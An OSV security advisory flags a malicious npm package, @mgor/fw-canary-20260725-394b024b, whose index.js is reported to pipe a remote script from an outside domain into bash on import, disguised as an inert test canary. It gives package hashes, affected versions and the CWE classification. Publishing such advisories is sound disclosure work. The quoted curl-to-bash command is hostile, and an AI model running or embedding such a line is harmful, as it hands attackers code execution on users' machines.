MAL-2026-12321

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@mgor/fw-canary-20260725-394b024b/MAL-2026-12321.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-12321
Published
2026-08-05T13:03:32Z
Modified
2026-08-05T13:35:11.003990834Z
Summary
Malicious code in @mgor/fw-canary-20260725-394b024b (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37)

index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.

Database specific
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-05T13:08:51.874120612Z",
            "id": "IN-MAL-2026-014865",
            "sha256": "80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37",
            "modified_time": "2026-08-05T13:03:32Z",
            "source": "amazon-inspector",
            "versions": [
                "0.0.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @mgor/fw-canary-20260725-394b024b

Package

Name
@mgor/fw-canary-20260725-394b024b
View open source insights on deps.dev
Purl
pkg:npm/%40mgor/fw-canary-20260725-394b024b

Affected ranges

Affected versions

0.*
0.0.2

Database specific

cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "index.js",
            "tlsh": "64f0c0041cf2627382a954b16a579d47238bf541123dd8bae897036857c5b008f433f6",
            "sha256": "43b5cbde57b8e21fd2b3e8b1c105c20113a81817f29fcdfe94d02c5e7cfc2710"
        }
    ],
    "package_integrity": [
        {
            "filename": "fw-canary-20260725-394b024b-0.0.2.tgz",
            "hashes": {
                "sha512_sri": "sha512-WnZjUJ45GpwiRS+SfYKdqoNzzdTRHAl1gQa4LQfP/c+r2VQNa+lqxK3dCjVRd6MwL72UgJ4H9lxX2M9s2WJ+JQ==",
                "sha1": "ccf216e94ab7ba274242bd847f5a353c61418f25"
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@mgor/fw-canary-20260725-394b024b/MAL-2026-12321.json"